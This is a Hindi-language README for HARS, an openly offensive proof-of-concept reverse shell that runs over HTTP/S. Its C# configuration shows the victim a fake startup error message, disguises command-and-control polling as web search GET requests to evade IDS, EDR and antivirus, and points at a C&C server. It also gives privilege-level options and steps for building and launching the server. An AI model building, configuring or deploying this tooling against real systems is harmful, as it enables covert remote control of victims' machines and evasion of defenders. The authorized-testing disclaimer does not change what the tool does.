[POC] HTTP प्रोटोकॉल का उपयोग करने वाला अतुल्यकालिक रिवर्स शेल।

एक ऐसे युग में जहाँ IDS, IPS, EDR, AV और फायरवॉल जैसी उन्नत पहचान प्रणालियाँ कॉर्पोरेट नेटवर्क पर हावी हैं, आक्रामक सुरक्षा मूल्यांकनों के दौरान इन्हें धोखा देना एक चुनौती है। अधिकांश रिवर्स शेल TCP टनल (L4) का उपयोग करते हैं, जिनका अब नियमित रूप से विश्लेषण और फ्लैग किया जाता है।
यह परियोजना एक अभिनव समाधान प्रस्तुत करती है: HTTP/S पर पूरी तरह से एसिंक्रोनस रिवर्स शेल जो वैध उपयोगकर्ता व्यवहार की नकल करके सामान्य वेब ट्रैफ़िक में मिल जाती है।
पारंपरिक रिवर्स शेल के विपरीत, यह केवल GET अनुरोधों का उपयोग करती है, सामान्य वेब क्वेरी के रूप में दिखाई देती है, और वैकल्पिक रूप से नकली वैध प्रमाणपत्र के साथ HTTPS पर चल सकती है, जिससे पहचान की संभावना कम हो जाती है।
क्लाइंट सर्वर से तब तक क्वेरी करता है जब तक उसे निर्देश नहीं मिल जाते।
हमलावर सर्वर को निर्देश प्रदान करता है।
जब कोई कमांड परिभाषित होती है, क्लाइंट उसे निष्पादित करता है और परिणाम लौटाता है।
और ऐसा तब तक चलता रहता है जब तक हमलावर सत्र समाप्त करने का निर्णय नहीं लेता।
यह उपकरण केवल एक प्रूफ ऑफ कॉन्सेप्ट प्रदर्शन उपकरण के रूप में अभिप्रेत है जो अधिकृत सुरक्षा परीक्षण के लिए है। इस उपकरण को चलाने से पहले सुनिश्चित करें कि आप अपने स्थानीय कानूनों की जाँच कर लें।
आज, एक पीओसी के रूप में, निम्नलिखित कार्यक्षमताएँ लागू की गई हैं:
HARS.sln खोलें।Config.cs संपादित करें: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
वैकल्पिक: विशेषाधिकार स्तर समायोजित करने के लिए HARS.manifest संपादित करें।
requestedExecutionLevelकोasInvoker,highestAvailable, याrequireAdministratorपर सेट किया जा सकता है।
प्रोजेक्ट गुण
यहाँ आप असेंबली जानकारी और फ़ाइल के लिए एक आइकन अनुकूलित कर सकते हैं।
नोट: लक्ष्य .NET फ्रेमवर्क संस्करण 4.6 पर सेट है जो Windows 10 में डिफ़ॉल्ट रूप से उपलब्ध है।
Windows 7 के लिए, यदि आप लापता सुविधाओं को स्थापित नहीं करना चाहते हैं तो .NET 3.5 चुनें।
Visual Studio से प्रोजेक्ट बनाएँ।
क्लाइंट Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release फ़ोल्डर में जनरेट होना चाहिए।
हो गया!
HARS_Server/www/ में HARS_Server.py संपादित करें।PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-HTTP लॉग Http Asynchronous Reverse Shell\HARS_Server\logs में स्थित हैं\
-आप अपने स्वयं के टेम्पलेट (कोई भी HTML पृष्ठ) Http Asynchronous Reverse Shell\HARS_Server\templates में जोड़ सकते हैं
@onSec-fr